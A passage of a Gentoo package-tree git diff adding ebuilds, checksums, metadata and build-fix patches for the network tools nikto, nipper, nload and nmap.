+ -i -e 's:^PROXYPORT:#PROXYPORT:' \
+ -i -e 's:^PROXYUSER:#PROXYUSER:' \
+ -i -e 's:^PROXYPASS:#PROXYPASS:' \
+ -i -e 's:# PLUGINDIR=/usr/local/nikto/plugins:PLUGINDIR=/usr/share/nikto/plugins:' \
+ nikto.conf
+
+ cp "${S}/docs/nikto-${PV}.man" "${WORKDIR}/${PN}.1"
+}
+
+src_install() {
+ insinto /etc/nikto
+ doins nikto.conf
+
+ dodir /usr/bin
+ dobin nikto.pl
+ dosym /usr/bin/nikto.pl /usr/bin/nikto
+
+ dodir /usr/share/nikto/plugins
+ insinto /usr/share/nikto/plugins
+ doins plugins/*
+
+ cd docs
+ dodoc CHANGES.txt LICENSE.txt README_plugins.txt nikto_usage.txt
+ dohtml nikto_usage.html
+ doman "${WORKDIR}/${PN}.1"
+}
diff --git a/net-analyzer/nikto/nikto-2.1.5.ebuild b/net-analyzer/nikto/nikto-2.1.5.ebuild
new file mode 100644
index 000000000000..aa1e74e0c6b1
--- /dev/null
+++ b/net-analyzer/nikto/nikto-2.1.5.ebuild
@@ -0,0 +1,56 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit perl-module
+
+DESCRIPTION="Web Server vulnerability scanner"
+HOMEPAGE="http://www.cirt.net/Nikto2"
+SRC_URI="http://www.cirt.net/nikto/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64 ~ppc ~sparc ~amd64-linux ~x86-linux ~x86-macos"
+IUSE="ssl"
+
+RDEPEND="
+ dev-lang/perl
+ >=net-libs/libwhisker-2.5
+ ssl? (
+ dev-libs/openssl:0=
+ dev-perl/Net-SSLeay
+ )"
+
+src_prepare() {
+ sed -i -e 's:config.txt:nikto.conf:g' plugins/* || die
+ sed -i -e 's:/etc/nikto.conf:/etc/nikto/nikto.conf:;
+ s:# EXECDIR=/usr/local/nikto:EXECDIR=/usr/share/nikto:;
+ s:# use LW2:use LW2:;
+ s:require "$CONFIGFILE{'\''PLUGINDIR'\''}/LW2.pm":# require "$CONFIGFILE{'\''PLUGINDIR'\''}/LW2.pm":;' nikto.pl || die
+}
+
+src_compile() { :; }
+
+src_install() {
+ insinto /etc/nikto
+ doins nikto.conf
+
+ dobin nikto.pl
+ dosym nikto.pl /usr/bin/nikto
+
+ insinto /usr/share/nikto
+ doins -r plugins templates databases
+
+ NIKTO_PMS='JSON-PP.pm'
+ einfo "symlinking ${NIKTO_PMS} to ${VENDOR_LIB}"
+
+ for _PM in ${NIKTO_PMS}; do
+ _TARGET=${VENDOR_LIB}/${_PM}
+ dosym /usr/share/nikto/plugins/${_PM} ${_TARGET}
+ done
+
+ dodoc docs/*.txt
+ dohtml docs/nikto_manual.html
+}
diff --git a/net-analyzer/nipper/Manifest b/net-analyzer/nipper/Manifest
new file mode 100644
index 000000000000..7be6cdb0e119
--- /dev/null
+++ b/net-analyzer/nipper/Manifest
@@ -0,0 +1 @@
+DIST nipper-cli-0.12.0.tgz 34157 SHA256 f0ab3ca181b6c88468395c264fc3fe002600a43a6986a5831b3c7a47a2aaf609 SHA512 f65f1e954d9a054136f0a3ac5ea1c25b46a74fe640860fd45093206402c7bb9e566b33cc03ed144a0fd7951f94d94390100344c24ff5343473374676e807f742 WHIRLPOOL c352fcd58373db637fd53a36f4dc5cf0604d369b851ad4b20589add735a5b578311b1d3aeb3a8f063fc1c473cd8bff609ca24cc8d7fc04f93cef42e4eb92727f
diff --git a/net-analyzer/nipper/metadata.xml b/net-analyzer/nipper/metadata.xml
new file mode 100644
index 000000000000..9db322fd2d7f
--- /dev/null
+++ b/net-analyzer/nipper/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>ikelos@gentoo.org</email>
+ <name>Mike Auty</name>
+ </maintainer>
+ <longdescription>A security tool for auditing cisco and other firewall device configurations.</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">nipper</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nipper/nipper-0.12.0.ebuild b/net-analyzer/nipper/nipper-0.12.0.ebuild
new file mode 100644
index 000000000000..a8ad69fc1b1a
--- /dev/null
+++ b/net-analyzer/nipper/nipper-0.12.0.ebuild
@@ -0,0 +1,21 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
+inherit cmake-utils
+
+DESCRIPTION="Router configuration security analysis tool"
+HOMEPAGE="http://nipper.titania.co.uk/"
+SRC_URI="mirror://sourceforge/nipper/${PN}-cli-${PV}.tgz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+DEPEND=">=net-libs/libnipper-0.12"
+RDEPEND=""
+
+S=${WORKDIR}/${PN}-cli-${PV}
diff --git a/net-analyzer/nload/Manifest b/net-analyzer/nload/Manifest
new file mode 100644
index 000000000000..93f19f60f8b4
--- /dev/null
+++ b/net-analyzer/nload/Manifest
@@ -0,0 +1 @@
+DIST nload-0.7.4.tar.gz 151005 SHA256 c1c051e7155e26243d569be5d99c744d8620e65fa8a7e05efcf84d01d9d469e5 SHA512 ca3e36d3f77c5a7994a3261042fb65a1458a29c769e6bebbe3b8e49b3045aca6f4d047065d11431b28368e0d881c24c92533fa24f0e54ac270f1f5bccfb5c0af WHIRLPOOL 272814facf78f6451caa5d87d157f9002e81eb0420ab0f2a462e1334f5ab105f45bf67e340dfb0e3b327ce2276c2e5f8c40f552a59befa550ee120d7ea8f0982
diff --git a/net-analyzer/nload/files/nload-0.7.4-tinfo.patch b/net-analyzer/nload/files/nload-0.7.4-tinfo.patch
new file mode 100644
index 000000000000..dcab6ec324f4
--- /dev/null
+++ b/net-analyzer/nload/files/nload-0.7.4-tinfo.patch
@@ -0,0 +1,10 @@
+--- a/configure.in
++++ b/configure.in
+@@ -70,6 +70,7 @@
+ esac
+
+ dnl Checks for libraries.
++PKG_CHECK_MODULES([NCURSES],[ncurses],[LIBS="$LIBS $NCURSES_LIBS"],[AC_MSG_ERROR([ncurses was not found])])
+ AC_CHECK_LIB(ncurses, initscr)
+ AC_CHECK_LIB(form, new_form)
+
diff --git a/net-analyzer/nload/metadata.xml b/net-analyzer/nload/metadata.xml
new file mode 100644
index 000000000000..43ff75467369
--- /dev/null
+++ b/net-analyzer/nload/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nload/nload-0.7.4.ebuild b/net-analyzer/nload/nload-0.7.4.ebuild
new file mode 100644
index 000000000000..86e8143d10b5
--- /dev/null
+++ b/net-analyzer/nload/nload-0.7.4.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="console application which monitors network traffic and bandwidth usage in real time"
+HOMEPAGE="http://www.roland-riegel.de/nload/index.html"
+SRC_URI="http://www.roland-riegel.de/nload/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 arm ~mips ppc x86"
+
+RDEPEND=">=sys-libs/ncurses-5.2"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-tinfo.patch
+ eautoreconf
+}
+
+src_configure() {
+ # --enable-debug means do not strip debugging symbols (default no)
+ econf --enable-debug
+}
diff --git a/net-analyzer/nmap/Manifest b/net-analyzer/nmap/Manifest
new file mode 100644
index 000000000000..a81338c01eaa
--- /dev/null
+++ b/net-analyzer/nmap/Manifest
@@ -0,0 +1,3 @@
+DIST nmap-6.47.tar.bz2 7878122 SHA256 8fa11e9e203ce2d81a207db5ca4f110a525f6c01c1dd0018325a7112a51aa591 SHA512 f98b92a26f4e912fe15c36a21dfff7bfb9f11c2410f4035330100648fbad7f808ef9e069c63704bbb50199272ae65ea81555de6c97eb8ee152114f44ed5a9296 WHIRLPOOL 4f92f0aeaaa03a94dc27080b5f0c2396325f282b7a781d163d1e05a71117896c4581154b58383f136eed1fcf2cce8f1b94e3344f3fc5d4955cf1f4cfc1417573
+DIST nmap-6.49BETA2.tar.bz2 8810504 SHA256 e2f2aaa872fec288b927ceb59500edba198d8767adbe3a83a939e7921b224b79 SHA512 f21f0e6677c5936d49aab0a7de083b1309c49a91289691636d5ad1dfa052426d657b0a1df30519fcda712007abee0a4cd1bf89963b2e6758b11d2c18d96d637e WHIRLPOOL 1fd1b57f6b95526fabfd30cdee3064b6626735b51fcd23b8b3e91609e1b7fc126f0fd97fc2f2d478f8035ae148830afb5ab5c6bc454ac518a3023b566e1c100d
+DIST nmap-logo-64.png 3289 SHA256 4c72ff1eeffeeaa1039b251d9f2d675936e65db686fe3b57a35c2183ce67a8aa SHA512 fb102d12aaeebc8a97543ecd653a3606e86996ad679bc26d6e6e274ad05ec3e9f92521289d1a24153c521b699e8c0cfa65d8856bb49af53ee4837268bbc6b5d3 WHIRLPOOL 6093aadcb9880587e17d39d45fcbe57bb62777f220655e6ed5b5f900ce49cb8c5a53e24d7db0de6f8909eb0f8981f7565e6ae9b9bf9283a4ccccb0526eab5313
diff --git a/net-analyzer/nmap/files/nmap-4.75-nolua.patch b/net-analyzer/nmap/files/nmap-4.75-nolua.patch
new file mode 100644
index 000000000000..30bb1e0c8669
--- /dev/null
+++ b/net-analyzer/nmap/files/nmap-4.75-nolua.patch
@@ -0,0 +1,10 @@
+diff -Naur nmap-4.75-orig/Makefile.in nmap-4.75/Makefile.in
+--- nmap-4.75-orig/Makefile.in 2008-09-05 07:32:06.000000000 +0200
++++ nmap-4.75/Makefile.in 2008-09-09 16:34:38.000000000 +0200
+@@ -258,5 +258,5 @@
+ ./config.status --recheck
+
+ makefile.dep:
+- $(CXX) -MM $(CPPFLAGS) $(SRCS) > $@
++ $(CXX) -MM $(CPPFLAGS) $(CXXFLAGS) $(SRCS) > $@
+ include makefile.dep
diff --git a/net-analyzer/nmap/files/nmap-5.10_beta1-string.patch b/net-analyzer/nmap/files/nmap-5.10_beta1-string.patch
new file mode 100644
index 000000000000..df29db3782d5
--- /dev/null
+++ b/net-analyzer/nmap/files/nmap-5.10_beta1-string.patch
@@ -0,0 +1,11 @@
+--- nmap-5.10BETA1/Target.h.org 2009-12-08 08:21:59.000000000 +0100
++++ nmap-5.10BETA1/Target.h 2009-12-08 08:22:02.000000000 +0100
+@@ -99,6 +99,8 @@
+
+ #ifndef NOLUA
+ #include "nse_main.h"
++#else
++#include <string>
+ #endif
+
+ #include "portreasons.h"
diff --git a/net-analyzer/nmap/files/nmap-5.21-python.patch b/net-analyzer/nmap/files/nmap-5.21-python.patch
new file mode 100644
index 000000000000..aa0d4f9db953
--- /dev/null
+++ b/net-analyzer/nmap/files/nmap-5.21-python.patch
@@ -0,0 +1,21 @@
+diff -Naurp nmap-5.21-orig/Makefile.in nmap-5.21/Makefile.in
+--- nmap-5.21-orig/Makefile.in 2010-01-31 09:53:53.000000000 +0100
++++ nmap-5.21/Makefile.in 2010-01-31 09:54:48.000000000 +0100
+@@ -253,7 +253,7 @@ build-zenmap: $(ZENMAPDIR)/setup.py $(ZE
+
+ install-zenmap: $(ZENMAPDIR)/setup.py
+ $(INSTALL) -d $(DESTDIR)$(bindir) $(DESTDIR)$(mandir)/man1
+- cd $(ZENMAPDIR) && $(PYTHON) setup.py --quiet install --prefix "$(prefix)" --force $(if $(DESTDIR),--root "$(DESTDIR)")
++ cd $(ZENMAPDIR) && $(PYTHON) setup.py --quiet install --prefix "$(prefix)" --force $(if $(DESTDIR),--root "$(DESTDIR)") --no-compile
+ $(INSTALL) -c -m 644 docs/zenmap.1 $(DESTDIR)$(mandir)/man1/
+ # Create a symlink from nmapfe to zenmap if nmapfe doesn't exist or is
+ # already a link.
+@@ -267,7 +267,7 @@ build-ndiff:
+ cd $(NDIFFDIR) && $(PYTHON) setup.py build $(if $(DESTDIR),--executable "$(DEFAULT_PYTHON_PATH)")
+
+ install-ndiff:
+- cd $(NDIFFDIR) && $(PYTHON) setup.py install --prefix "$(prefix)" $(if $(DESTDIR),--root "$(DESTDIR)")
++ cd $(NDIFFDIR) && $(PYTHON) setup.py install --prefix "$(prefix)" $(if $(DESTDIR),--root "$(DESTDIR)") --no-compile
+
+ NSE_FILES = scripts/script.db scripts/*.nse
+ NSE_LIB_LUA_FILES = nselib/*.lua
diff --git a/net-analyzer/nmap/files/nmap-6.01-make.patch b/net-analyzer/nmap/files/nmap-6.01-make.patch
new file mode 100644
index 000000000000..2711b3168b2e
--- /dev/null
+++ b/net-analyzer/nmap/files/nmap-6.01-make.patch
@@ -0,0 +1,20 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -119,6 +119,8 @@
+ rm -f $@
+ $(CXX) $(LDFLAGS) -o $@ $(OBJS) $(LIBS)
+
++$(NBASEDIR)/libnbase.a: nbase_build
++
+ build-%: %/Makefile
+ cd $* && $(MAKE)
+
+@@ -152,7 +154,7 @@
+ liblinear_build: $(LIBLINEARDIR)/Makefile
+ @echo Compiling liblinear; cd $(LIBLINEARDIR) && $(MAKE) liblinear.a CC="$(CC)" CXX="$(CXX)" CFLAGS="$(CFLAGS)"
+
+-build-nmap-update: nmap-update/default_channel.h
++build-nmap-update: nbase_build nmap-update/default_channel.h
+
+ #$(LIBPCAPDIR)/Makefile:
+ # @echo Configuring libpcap; cd $(LIBPCAPDIR); ./configure
diff --git a/net-analyzer/nmap/files/nmap-6.25-liblua-ar.patch b/net-analyzer/nmap/files/nmap-6.25-liblua-ar.patch
new file mode 100644
index 000000000000..5aa9fa7f631c
--- /dev/null
+++ b/net-analyzer/nmap/files/nmap-6.25-liblua-ar.patch
@@ -0,0 +1,20 @@
+--- a/liblua/Makefile
++++ b/liblua/Makefile
+@@ -11,7 +11,7 @@
+ LDFLAGS= $(SYSLDFLAGS) $(MYLDFLAGS)
+ LIBS= -lm $(SYSLIBS) $(MYLIBS)
+
+-AR= ar rcu
++AR= ar
+ RANLIB= ranlib
+ RM= rm -f
+
+@@ -56,7 +56,7 @@
+ a: $(ALL_A)
+
+ $(LUA_A): $(BASE_O)
+- $(AR) $@ $(BASE_O)
++ $(AR) rcu $@ $(BASE_O)
+ $(RANLIB) $@
+
+ $(LUA_T): $(LUA_O) $(LUA_A)
diff --git a/net-analyzer/nmap/files/nmap-6.46-uninstaller.patch b/net-analyzer/nmap/files/nmap-6.46-uninstaller.patch
new file mode 100644
index 000000000000..6b43f8f5a069
--- /dev/null
+++ b/net-analyzer/nmap/files/nmap-6.46-uninstaller.patch
@@ -0,0 +1,19 @@
+--- a/zenmap/setup.py
++++ b/zenmap/setup.py
+@@ -245,7 +245,6 @@
+ self.set_perms()
+ self.set_modules_path()
+ self.fix_paths()
+- self.create_uninstaller()
+ self.write_installed_files()
+
+ def get_installed_files(self):
+@@ -263,8 +262,6 @@
+ os.path.join(self.install_data, data_dir)):
+ for dir in dirs:
+ installed_files.append(os.path.join(dirpath, dir))
+- installed_files.append(
+- os.path.join(self.install_scripts, "uninstall_" + APP_NAME))
+ return installed_files
+
+ def create_uninstaller(self):
diff --git a/net-analyzer/nmap/files/nmap-6.47-ncat-lua.patch b/net-analyzer/nmap/files/nmap-6.47-ncat-lua.patch
new file mode 100644
index 000000000000..27df06b9b710
--- /dev/null
+++ b/net-analyzer/nmap/files/nmap-6.47-ncat-lua.patch
@@ -0,0 +1,11 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -145,7 +145,7 @@
+ @echo Compiling libnetutil;
+ cd libnetutil && $(MAKE)
+
+-ncat_build: $(NCATDIR)/Makefile nbase_build nsock_build $(NCATDIR)/ncat.h @PCAP_BUILD@
++ncat_build: $(NCATDIR)/Makefile nbase_build nsock_build @LUA_BUILD@ $(NCATDIR)/ncat.h @PCAP_BUILD@
+ cd $(NCATDIR) && $(MAKE)
+
+ lua_build: $(LIBLUADIR)/Makefile
diff --git a/net-analyzer/nmap/files/nmap-6.47-no-FORTIFY_SOURCE.patch b/net-analyzer/nmap/files/nmap-6.47-no-FORTIFY_SOURCE.patch
new file mode 100644
index 000000000000..9b2993f59ea4
--- /dev/null
+++ b/net-analyzer/nmap/files/nmap-6.47-no-FORTIFY_SOURCE.patch
@@ -0,0 +1,77 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -40,7 +40,7 @@
+ # http://gcc.gnu.org/ml/gcc-patches/2004-09/msg02055.html
+ # Level 1 only makes changes that don't affect "conforming" programs,
+ # while level 2 enforces additional restrictions.
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ # For mtrace debugging -- see MTRACE define in main.cc for instructions
+ # Should only be enabled during debugging and not in any real release.
+ # DEFS += -DMTRACE=1
+--- a/nsock/src/Makefile.in
++++ b/nsock/src/Makefile.in
+@@ -13,7 +13,7 @@
+ CCOPT =
+ DEFS = @DEFS@ -DNSOCK_VERSION=\"$(NSOCK_VERSION)\"
+ # With GCC, add extra security checks to source code.
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ INCLS = -I../include
+ CFLAGS = @CFLAGS@ $(CCOPT)
+ # CFLAGS = -g -Wall $(DEFS) $(INCLS)
+--- a/nping/Makefile.in
++++ b/nping/Makefile.in
+@@ -37,7 +37,7 @@
+ # http://gcc.gnu.org/ml/gcc-patches/2004-09/msg02055.html
+ # Level 1 only makes changes that don't affect "conforming" programs,
+ # while level 2 enforces additional restrictions.
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ # For mtrace debugging -- see MTRACE define in main.cc for instructions
+ # Should only be enabled during debugging and not in any real release.
+ # DEFS += -DMTRACE=1
+--- a/libnetutil/Makefile.in
++++ b/libnetutil/Makefile.in
+@@ -5,7 +5,7 @@
+ CXXFLAGS = @CXXFLAGS@
+ CPPFLAGS = @CPPFLAGS@ $(DEFS)
+ DEFS = @DEFS@
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ AR = ar
+ RANLIB = @RANLIB@
+
+--- a/ncat/Makefile.in
++++ b/ncat/Makefile.in
+@@ -52,7 +52,7 @@
+ LIBS = @LIBS@
+ DEFS = @DEFS@ -DNCAT_DATADIR="\"$(pkgdatadir)\""
+ # With GCC, add extra security checks to source code.
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ INCLS = -I. -I.. -I../nsock/include/ -I$(NBASEDIR)
+ RM = rm -f
+ STRIP = @STRIP@
+--- a/nbase/Makefile.in
++++ b/nbase/Makefile.in
+@@ -11,7 +11,7 @@
+ CCOPT =
+ DEFS = @DEFS@
+ # With GCC, add extra security checks to source code.
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ CPPFLAGS = @CPPFLAGS@
+ CFLAGS = @CFLAGS@ $(CCOPT) $(GLIB_CFLAGS) $(DEFS) $(INCLS)
+ STATIC =
+--- a/nmap-update/Makefile.in
++++ b/nmap-update/Makefile.in
+@@ -10,7 +10,7 @@
+ CPPFLAGS = @CPPFLAGS@ $(DEFS) -I$(NBASEDIR)
+ LDFLAGS = @LDFLAGS@
+ LIBS = @LIBS@ $(NBASELIB)
+-DEFS = @DEFS@ -D_FORTIFY_SOURCE=2
++DEFS = @DEFS@
+
+ INSTALL = @INSTALL@
+ STRIP = @STRIP@
diff --git a/net-analyzer/nmap/files/nmap-6.47-no-libnl.patch b/net-analyzer/nmap/files/nmap-6.47-no-libnl.patch
new file mode 100644
index 000000000000..0e0c6b70beff
--- /dev/null
+++ b/net-analyzer/nmap/files/nmap-6.47-no-libnl.patch
@@ -0,0 +1,70 @@
+nping does not call anything nl_* related so it should not link against libnl (bug #529244)
+Patching configure.ac would be best but eautoreconf does not handle the subdirs very well.
+
+--- a/nping/configure
++++ b/nping/configure
+@@ -4865,64 +4865,6 @@
+ fi
+
+
+-# libpcap can require libnl
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for library containing nl_handle_alloc" >&5
+-$as_echo_n "checking for library containing nl_handle_alloc... " >&6; }
+-if ${ac_cv_search_nl_handle_alloc+:} false; then :
+- $as_echo_n "(cached) " >&6
+-else
+- ac_func_search_save_LIBS=$LIBS
+-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+-/* end confdefs.h. */
+-
+-/* Override any GCC internal prototype to avoid an error.
+- Use char because int might match the return type of a GCC
+- builtin and then its argument prototype would still apply. */
+-#ifdef __cplusplus
+-extern "C"
+-#endif
+-char nl_handle_alloc ();
+-int
+-main ()
+-{
+-return nl_handle_alloc ();
+- ;
+- return 0;
+-}
+-_ACEOF
+-for ac_lib in '' nl; do
+- if test -z "$ac_lib"; then
+- ac_res="none required"
+- else
+- ac_res=-l$ac_lib
+- LIBS="-l$ac_lib $ac_func_search_save_LIBS"
+- fi
+- if ac_fn_c_try_link "$LINENO"; then :
+- ac_cv_search_nl_handle_alloc=$ac_res
+-fi
+-rm -f core conftest.err conftest.$ac_objext \
+- conftest$ac_exeext
+- if ${ac_cv_search_nl_handle_alloc+:} false; then :
+- break
+-fi
+-done
+-if ${ac_cv_search_nl_handle_alloc+:} false; then :
+-
+-else
+- ac_cv_search_nl_handle_alloc=no
+-fi
+-rm conftest.$ac_ext
+-LIBS=$ac_func_search_save_LIBS
+-fi
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_nl_handle_alloc" >&5
+-$as_echo "$ac_cv_search_nl_handle_alloc" >&6; }
+-ac_res=$ac_cv_search_nl_handle_alloc
+-if test "$ac_res" != no; then :
+- test "$ac_res" = "none required" || LIBS="$ac_res $LIBS"
+-
+-fi
+-
+-
+ # We test whether they specified openssl desires explicitly
+ use_openssl="yes"
+ specialssldir=""
diff --git a/net-analyzer/nmap/files/nmap-6.49-no-FORTIFY_SOURCE.patch b/net-analyzer/nmap/files/nmap-6.49-no-FORTIFY_SOURCE.patch
new file mode 100644
index 000000000000..383975493be9
--- /dev/null
+++ b/net-analyzer/nmap/files/nmap-6.49-no-FORTIFY_SOURCE.patch
@@ -0,0 +1,71 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -41,7 +41,6 @@
+ # http://gcc.gnu.org/ml/gcc-patches/2004-09/msg02055.html
+ # Level 1 only makes changes that don't affect "conforming" programs,
+ # while level 2 enforces additional restrictions.
+-DEFS += -D_FORTIFY_SOURCE=2
+ # For mtrace debugging -- see MTRACE define in main.cc for instructions
+ # Should only be enabled during debugging and not in any real release.
+ # DEFS += -DMTRACE=1
+--- a/nsock/src/Makefile.in
++++ b/nsock/src/Makefile.in
+@@ -13,7 +13,6 @@
+ CCOPT =
+ DEFS = @DEFS@ -DNSOCK_VERSION=\"$(NSOCK_VERSION)\"
+ # With GCC, add extra security checks to source code.
+-DEFS += -D_FORTIFY_SOURCE=2
+ INCLS = -I../include
+ CFLAGS = @CFLAGS@ $(CCOPT)
+ # CFLAGS = -g -Wall $(DEFS) $(INCLS)
+--- a/nping/Makefile.in
++++ b/nping/Makefile.in
+@@ -38,7 +38,6 @@
+ # http://gcc.gnu.org/ml/gcc-patches/2004-09/msg02055.html
+ # Level 1 only makes changes that don't affect "conforming" programs,
+ # while level 2 enforces additional restrictions.
+-DEFS += -D_FORTIFY_SOURCE=2
+ # For mtrace debugging -- see MTRACE define in main.cc for instructions
+ # Should only be enabled during debugging and not in any real release.
+ # DEFS += -DMTRACE=1
+--- a/libnetutil/Makefile.in
++++ b/libnetutil/Makefile.in
+@@ -5,7 +5,6 @@
+ CXXFLAGS = @CXXFLAGS@
+ CPPFLAGS = @CPPFLAGS@ $(DEFS)
+ DEFS = @DEFS@
+-DEFS += -D_FORTIFY_SOURCE=2
+ AR = ar
+ RANLIB = @RANLIB@
+
+--- a/ncat/Makefile.in
++++ b/ncat/Makefile.in
+@@ -53,7 +53,6 @@
+ LIBS = @LIBS@
+ DEFS = @DEFS@ -DNCAT_DATADIR="\"$(pkgdatadir)\""
+ # With GCC, add extra security checks to source code.
+-DEFS += -D_FORTIFY_SOURCE=2
+ INCLS = -I. -I.. -I../nsock/include/ -I$(NBASEDIR)
+ RM = rm -f
+ STRIP = @STRIP@
+--- a/nbase/Makefile.in
++++ b/nbase/Makefile.in
+@@ -12,7 +12,6 @@
+ CCOPT =
+ DEFS = @DEFS@
+ # With GCC, add extra security checks to source code.
+-DEFS += -D_FORTIFY_SOURCE=2
+ CPPFLAGS = @CPPFLAGS@
+ CFLAGS = @CFLAGS@ $(CCOPT) $(GLIB_CFLAGS) $(DEFS) $(INCLS)
+ STATIC =
+--- a/nmap-update/Makefile.in
++++ b/nmap-update/Makefile.in
+@@ -11,7 +11,7 @@
+ CPPFLAGS = @CPPFLAGS@ $(DEFS) -I$(NBASEDIR)
+ LDFLAGS = @LDFLAGS@
+ LIBS = @LIBS@ $(NBASELIB)
+-DEFS = @DEFS@ -D_FORTIFY_SOURCE=2
++DEFS = @DEFS@
+ APR_LIBS = @APR_LIBS@
+ SVN_LIBS = @SVN_LIBS@
+
diff --git a/net-analyzer/nmap/files/nmap-no-FORTIFY_SOURCE.patch b/net-analyzer/nmap/files/nmap-no-FORTIFY_SOURCE.patch
new file mode 100644
index 000000000000..5f79238d19a3
--- /dev/null
+++ b/net-analyzer/nmap/files/nmap-no-FORTIFY_SOURCE.patch
@@ -0,0 +1,77 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -40,7 +40,7 @@
+ # http://gcc.gnu.org/ml/gcc-patches/2004-09/msg02055.html
+ # Level 1 only makes changes that don't affect "conforming" programs,
+ # while level 2 enforces additional restrictions.
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ # For mtrace debugging -- see MTRACE define in main.cc for instructions
+ # Should only be enabled during debugging and not in any real release.
+ # DEFS += -DMTRACE=1
+--- a/nsock/src/Makefile.in
++++ b/nsock/src/Makefile.in
+@@ -13,7 +13,7 @@
+ CCOPT =
+ DEFS = @DEFS@ -DNSOCK_VERSION=\"$(NSOCK_VERSION)\"
+ # With GCC, add extra security checks to source code.
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ INCLS = -I../include
+ CFLAGS = @CFLAGS@ $(CCOPT)
+ # CFLAGS = -g -Wall $(DEFS) $(INCLS)
+--- a/nping/Makefile.in
++++ b/nping/Makefile.in
+@@ -37,7 +37,7 @@
+ # http://gcc.gnu.org/ml/gcc-patches/2004-09/msg02055.html
+ # Level 1 only makes changes that don't affect "conforming" programs,
+ # while level 2 enforces additional restrictions.
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ # For mtrace debugging -- see MTRACE define in main.cc for instructions
+ # Should only be enabled during debugging and not in any real release.
+ # DEFS += -DMTRACE=1
+--- a/libnetutil/Makefile.in
++++ b/libnetutil/Makefile.in
+@@ -5,7 +5,7 @@
+ CXXFLAGS = @CXXFLAGS@
+ CPPFLAGS = @CPPFLAGS@ $(DEFS)
+ DEFS = @DEFS@
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ AR = ar
+ RANLIB = @RANLIB@
+
+--- a/ncat/Makefile.in
++++ b/ncat/Makefile.in
+@@ -52,7 +52,7 @@
+ LIBS = @LIBS@
+ DEFS = @DEFS@ -DNCAT_DATADIR="\"$(pkgdatadir)\""
+ # With GCC, add extra security checks to source code.
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ INCLS = -I. -I.. -I../nsock/include/ -I$(NBASEDIR)
+ RM = rm -f
+ STRIP = @STRIP@
+--- a/nbase/Makefile.in
++++ b/nbase/Makefile.in
+@@ -11,7 +11,7 @@
+ CCOPT =
+ DEFS = @DEFS@
+ # With GCC, add extra security checks to source code.
+-DEFS += -D_FORTIFY_SOURCE=2
++#DEFS += -D_FORTIFY_SOURCE=2
+ CPPFLAGS = @CPPFLAGS@
+ CFLAGS = @CFLAGS@ $(CCOPT) $(GLIB_CFLAGS) $(DEFS) $(INCLS)
+ STATIC =
+--- a/nmap-update/Makefile.in
++++ b/nmap-update/Makefile.in
+@@ -10,7 +10,7 @@
+ CPPFLAGS = @CPPFLAGS@ $(DEFS) -I$(NBASEDIR)
+ LDFLAGS = @LDFLAGS@
+ LIBS = @LIBS@ $(NBASELIB)
+-DEFS = @DEFS@ -D_FORTIFY_SOURCE=2
++DEFS = @DEFS@
+ APR_LIBS = @APR_LIBS@
+ SVN_LIBS = @SVN_LIBS@
+
diff --git a/net-analyzer/nmap/metadata.xml b/net-analyzer/nmap/metadata.xml
new file mode 100644
index 000000000000..ff34d48df46e
--- /dev/null
+++ b/net-analyzer/nmap/metadata.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<use>
+<flag name="system-lua">Use <pkg>dev-lang/lua</pkg> instead of the bundled liblua</flag>
+<flag name="lua">Include support for the Nmap Scripting Engine (NSE)</flag>
